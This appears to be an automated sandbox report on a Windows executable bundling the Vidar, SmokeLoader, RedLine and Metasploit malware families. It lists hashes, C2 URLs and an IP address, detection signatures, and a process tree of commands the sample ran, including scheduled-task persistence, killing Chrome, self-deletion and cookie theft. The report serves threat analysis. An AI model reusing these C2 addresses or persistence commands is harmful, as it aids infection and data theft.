Resubmissions
13/08/2021, 10:16
210813-wpta271jdx 1008/08/2021, 23:00
210808-fgs5g9pxfs 1007/08/2021, 23:12
210807-g2jw1lmd4a 1007/08/2021, 16:10
210807-51nhct4kfx 1006/08/2021, 23:43
210806-gc2271nxwj 1006/08/2021, 06:00
210806-f443x39x8a 1005/08/2021, 17:08
210805-97y6banvvx 1004/08/2021, 17:25
210804-hkxx2ntr8x 1004/08/2021, 12:12
210804-rjbg4b4y7n 1003/08/2021, 17:12
210803-r2h7ytjwqj 10Analysis
-
max time kernel
89s -
max time network
1827s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
07/08/2021, 23:12
General
-
Target
8 (11).exe
-
Size
3.0MB
-
MD5
bb072cad921aa5ce8b97706ce01bc570
-
SHA1
18bf034906c1341b7817e7361ad27a4425d820bd
-
SHA256
817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97
-
SHA512
d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474
Score
10/10
Malware Config
Extracted
Family
vidar
Version
39.6
Botnet
933
C2
https://sslamlssa1.tumblr.com/
Attributes
-
profile_id
933
Extracted
Family
smokeloader
Version
2020
C2
http://conceitosseg.com/upload/
http://integrasidata.com/upload/
http://ozentekstil.com/upload/
http://finbelportal.com/upload/
http://telanganadigital.com/upload/
http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/
http://readinglistforjuly1.xyz/
http://readinglistforjuly2.xyz/
http://readinglistforjuly3.xyz/
http://readinglistforjuly4.xyz/
http://readinglistforjuly5.xyz/
http://readinglistforjuly6.xyz/
http://readinglistforjuly7.xyz/
http://readinglistforjuly8.xyz/
http://readinglistforjuly9.xyz/
rc4.i32
rc4.i32
rc4.i32
rc4.i32
Extracted
Family
redline
Botnet
Focus1
C2
135.148.139.222:33569
Extracted
Family
metasploit
Version
windows/single_exec
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 1 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 7 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE GCleaner Downloader Activity M1
suricata: ET MALWARE GCleaner Downloader Activity M1
-
suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
suricata: ET MALWARE Possible Dridex Download URI Struct with no referer
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
XMRig Miner Payload 1 IoCs
-
ASPack v2.12-2.42 18 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Downloads MZ/PE file
-
Executes dropped EXE 34 IoCs
-
UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
-
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 3 IoCs
-
Modifies system certificate store 2 TTPs 11 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 7 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SendNotifyMessage 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\8 (11).exe"C:\Users\Admin\AppData\Local\Temp\8 (11).exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_1.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_2.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\sonia_2.exesonia_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_5.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\sonia_5.exesonia_5.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Users\Admin\Documents\tOOj_GUKAV3EWtp10K6b9YYq.exe"C:\Users\Admin\Documents\tOOj_GUKAV3EWtp10K6b9YYq.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\uwku0423.x4t.exe"C:\Users\Admin\AppData\Local\Temp\uwku0423.x4t.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\SystemPropertiesAdvance.exe"C:\Users\Admin\AppData\Roaming\SystemPropertiesAdvance.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\qvl66DHG9Z.bat"9⤵
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:210⤵
-
-
C:\Windows\system32\chcp.comchcp 6500110⤵
-
-
C:\Users\Admin\Documents\OpenDismount\MOhyd6srSrSV0V3GLr1LlHRd.exe"C:\Users\Admin\Documents\OpenDismount\MOhyd6srSrSV0V3GLr1LlHRd.exe"10⤵
-
-
-
-
C:\Users\Admin\AppData\Roaming\WindscribeLauncher.exe"C:\Users\Admin\AppData\Roaming\WindscribeLauncher.exe"8⤵
-
-
C:\Users\Admin\AppData\Roaming\AkrienPremium.exe"C:\Users\Admin\AppData\Roaming\AkrienPremium.exe"8⤵
-
-
C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsInternal" /tr '"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsInternal" /tr '"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"'10⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"9⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Intilizate.exe"C:\Users\Admin\AppData\Roaming\Intilizate.exe"8⤵
-
-
C:\Users\Admin\AppData\Roaming\HashModule.exe"C:\Users\Admin\AppData\Roaming\HashModule.exe"8⤵
-
-
-
-
C:\Users\Admin\Documents\9T29G68rjitMXMC1rBGgFrF5.exe"C:\Users\Admin\Documents\9T29G68rjitMXMC1rBGgFrF5.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\9T29G68rjitMXMC1rBGgFrF5.exeC:\Users\Admin\Documents\9T29G68rjitMXMC1rBGgFrF5.exe7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\9T29G68rjitMXMC1rBGgFrF5.exeC:\Users\Admin\Documents\9T29G68rjitMXMC1rBGgFrF5.exe7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\5EjhXvECcGCKTju3s2OXQ3Dp.exe"C:\Users\Admin\Documents\5EjhXvECcGCKTju3s2OXQ3Dp.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 15127⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\lc96lQIRt2uqCxRSbU1Z3Tt6.exe"C:\Users\Admin\Documents\lc96lQIRt2uqCxRSbU1Z3Tt6.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Documents\P6SEdE1TS4Zh9VNvl9WmwTsV.exe"C:\Users\Admin\Documents\P6SEdE1TS4Zh9VNvl9WmwTsV.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "P6SEdE1TS4Zh9VNvl9WmwTsV.exe" /f & erase "C:\Users\Admin\Documents\P6SEdE1TS4Zh9VNvl9WmwTsV.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "P6SEdE1TS4Zh9VNvl9WmwTsV.exe" /f8⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\MTlXJiVlXnNp6eDAtHboZDTd.exe"C:\Users\Admin\Documents\MTlXJiVlXnNp6eDAtHboZDTd.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Documents\MTlXJiVlXnNp6eDAtHboZDTd.exe"C:\Users\Admin\Documents\MTlXJiVlXnNp6eDAtHboZDTd.exe"7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
-
-
C:\Users\Admin\Documents\GVLojgGY9OhEW2iOz37VpTF0.exe"C:\Users\Admin\Documents\GVLojgGY9OhEW2iOz37VpTF0.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\58OCXJX4Ddl05bdMn9oTvGmx.exe"C:\Users\Admin\Documents\58OCXJX4Ddl05bdMn9oTvGmx.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"7⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Continua.pptx7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
-
-
-
C:\Users\Admin\Documents\dPOzg6Jwaj_6dyrJD5SyyEzR.exe"C:\Users\Admin\Documents\dPOzg6Jwaj_6dyrJD5SyyEzR.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\dPOzg6Jwaj_6dyrJD5SyyEzR.exe"C:\Users\Admin\Documents\dPOzg6Jwaj_6dyrJD5SyyEzR.exe"7⤵
-
-
-
C:\Users\Admin\Documents\97OTz8gp4rX6QgepfS8eP3B9.exe"C:\Users\Admin\Documents\97OTz8gp4rX6QgepfS8eP3B9.exe"6⤵
-
-
C:\Users\Admin\Documents\tdJcELyHECkECvvu2fKC2y3B.exe"C:\Users\Admin\Documents\tdJcELyHECkECvvu2fKC2y3B.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\lz6eHkz0xLVGYk_HpP3kmTWx.exe"C:\Users\Admin\Documents\lz6eHkz0xLVGYk_HpP3kmTWx.exe"6⤵
-
-
C:\Users\Admin\Documents\MOhyd6srSrSV0V3GLr1LlHRd.exe"C:\Users\Admin\Documents\MOhyd6srSrSV0V3GLr1LlHRd.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\LwLEj4F1Amv0i3BO1T563iff.exe"C:\Users\Admin\Documents\LwLEj4F1Amv0i3BO1T563iff.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6027386.exe"C:\Users\Admin\AppData\Roaming\6027386.exe"7⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2080 -s 17688⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Roaming\2825182.exe"C:\Users\Admin\AppData\Roaming\2825182.exe"7⤵
-
-
-
C:\Users\Admin\Documents\lDOx39h6snWbb9S1vxk8YeUN.exe"C:\Users\Admin\Documents\lDOx39h6snWbb9S1vxk8YeUN.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\8399868.exe"C:\Users\Admin\AppData\Roaming\8399868.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\4020782.exe"C:\Users\Admin\AppData\Roaming\4020782.exe"7⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3052 -s 17608⤵
- Suspicious use of SetThreadContext
- Program crash
-
-
-
-
C:\Users\Admin\Documents\OWBCNCHxEvCwNbNPqRKUdto_.exe"C:\Users\Admin\Documents\OWBCNCHxEvCwNbNPqRKUdto_.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-VNU5N.tmp\OWBCNCHxEvCwNbNPqRKUdto_.tmp"C:\Users\Admin\AppData\Local\Temp\is-VNU5N.tmp\OWBCNCHxEvCwNbNPqRKUdto_.tmp" /SL5="$101A4,138429,56832,C:\Users\Admin\Documents\OWBCNCHxEvCwNbNPqRKUdto_.exe"7⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_6.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\sonia_6.exesonia_6.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_7.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_4.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_3.exe4⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 748 -s 4124⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\sonia_3.exesonia_3.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 9482⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D61C894\sonia_4.exesonia_4.exe1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^hrVmJwToKxUzJbufzBCieeoCYvJHZAdLamrEFkwMUIyxRybgpVUzcLJlUzAjsjoltowlzBJiAQhzXOKSZcbrGWfHQSKjKOxHAVdJthUHjMSFbfhyIHhWOtDiSxxBRbbMcF$" Palpito.pptx1⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "lz6eHkz0xLVGYk_HpP3kmTWx.exe" /f1⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comDir.exe.com p1⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p2⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p3⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p4⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p5⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p6⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p7⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p8⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p10⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p11⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p12⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p13⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p14⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p15⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p16⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p17⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p18⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p19⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p20⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p21⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p22⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p23⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p24⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p25⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p26⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p27⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p28⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p29⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p30⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p31⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p32⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p33⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p34⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p35⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p36⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p37⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p38⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p39⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p40⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p41⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p42⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p43⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p44⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p45⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dir.exe.com p46⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 301⤵
- Runs ping.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"' & exit1⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"'2⤵
- Creates scheduled task(s)
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "lz6eHkz0xLVGYk_HpP3kmTWx.exe" /f & erase "C:\Users\Admin\Documents\lz6eHkz0xLVGYk_HpP3kmTWx.exe" & exit2⤵
- Process spawned unexpected child process
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\SysWOW64\fdPnp\WerFault.exe'" /rl HIGHEST /f2⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\4537d782-9a0d-11eb-a52e-c2ebb310cb62\conhost.exe'" /rl HIGHEST /f2⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "setup_installer" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI5F93\setup_installer.exe'" /rl HIGHEST /f2⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "MOhyd6srSrSV0V3GLr1LlHRd" /sc ONLOGON /tr "'C:\Users\Admin\Documents\OpenDismount\MOhyd6srSrSV0V3GLr1LlHRd.exe'" /rl HIGHEST /f2⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Documents and Settings\services.exe'" /rl HIGHEST /f2⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Default\Music\System.exe'" /rl HIGHEST /f2⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"' & exit2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"'3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"2⤵
-
-
